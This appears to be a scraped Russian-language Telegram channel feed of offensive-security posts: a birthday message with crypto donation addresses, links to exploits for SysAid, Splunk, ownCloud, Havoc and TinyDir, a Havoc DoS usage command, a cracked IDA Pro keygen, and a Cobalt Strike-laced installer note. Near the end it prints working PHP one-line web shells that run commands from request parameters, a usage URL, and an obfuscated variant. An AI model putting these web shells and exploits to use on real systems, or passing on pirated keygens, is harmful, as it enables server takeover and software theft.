С днем рождения !!!
Сегодня Proxy Bar исполняется 2 года
***
Если Вам нравится то что мы делаем, Вы можете нас поддержать:
***
Bitcoin bc1qmrt229eghjyj9wqa7nmr9j8zuq6khz6km2pker
Ethereum 0xa9626b33E39d904b6A48640cA89295323E7402A9
Monero 43rmbgj7gy8fwAzuqWNNAbL3K3Eb54khZhY36gkRM8Vv6EVvEQFvSMBEhGyQDY43DWfEsbBY6msmR3GRGt4cC49yVs2jc8k

#ДеньРождения

CVE-2023-47246
А вот и 0day который активно юзают рансомы из Cl0p нацеленный на SysAid
*
exploit
*

CVE-2023-46214 - Splunk RCE
*
Proof of concept exploit

#splunk

PassTheCert
*
Бывает контроллеры домена не поддерживают PKINIT. Это может быть связано с тем, что в их сертификатах нет EKU для входа в систему со смарт-картой. Однако несколько протоколов, включая LDAP, поддерживают Schannel, обеспечивая таким образом аутентификацию через TLS.

И вот пацаны с района (возможно Мытищи) создали небольшой инструмент для проверки концепции, который позволяет выполнять аутентификацию на сервере LDAP/S с сертификатом для всяких там атак.
*
LINK

Спешим читать свежий выпуск tmpOut 03 за ноябрь 2023

HavocExploit
Праздник у всех любителей фреймфорка Havoc ( post-exploitation command and control framework )
*
DOS_exploit
*
Usage:
pip install -r requirements.txt
./exploit.py -t teamserverip -p port

#havoc

Это на новый год !

Интересная мультиварка

Мечтает ли товарищ майор об элетроТелеге ?
Но не спеши погружаться в философские думы, мой юный друг !
Ведь в нашей студии, прости хоспаде - Telegram Explorer
У которого в описании ЖИР жирокъ
Ну прям RSS на базе православной тележки.
Но разговоры в сторону - немедленно выкатываем в продакшен !

#Fu

CVE-2023-49103
Detail
POC_exploit (multi-thread)

1 - учите питон
2 - учите арабский
3 - едете в германию работать программистом кассиром в макдач

CobaltStrike в Chrome installer с подписью от BreakPoint Software Inc
*
Strike config

Надеюсь JOY CASINO

IDA_pro - 8.3 final release + keygen
#IDApro

LOOOOL
Нашли до чего доебаться, еще и тикет открыли ))
webshell exists in the project

mini_PHP Payload
*
<?=`$_GET[0]`?>
<?=`$_POST[0]`?>
<?=`{$_REQUEST['_']}`?>
*
Usage :

bashorg.com/path/to/shell.php?0=command

*
Obfuscation :

<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

вернуться в 2000е и задеть струны души за полсекунды 😜

CVE-2023-49287
TinyDir <= 1.2.5 Buffer overflow
Proof of concept (c 183 строки)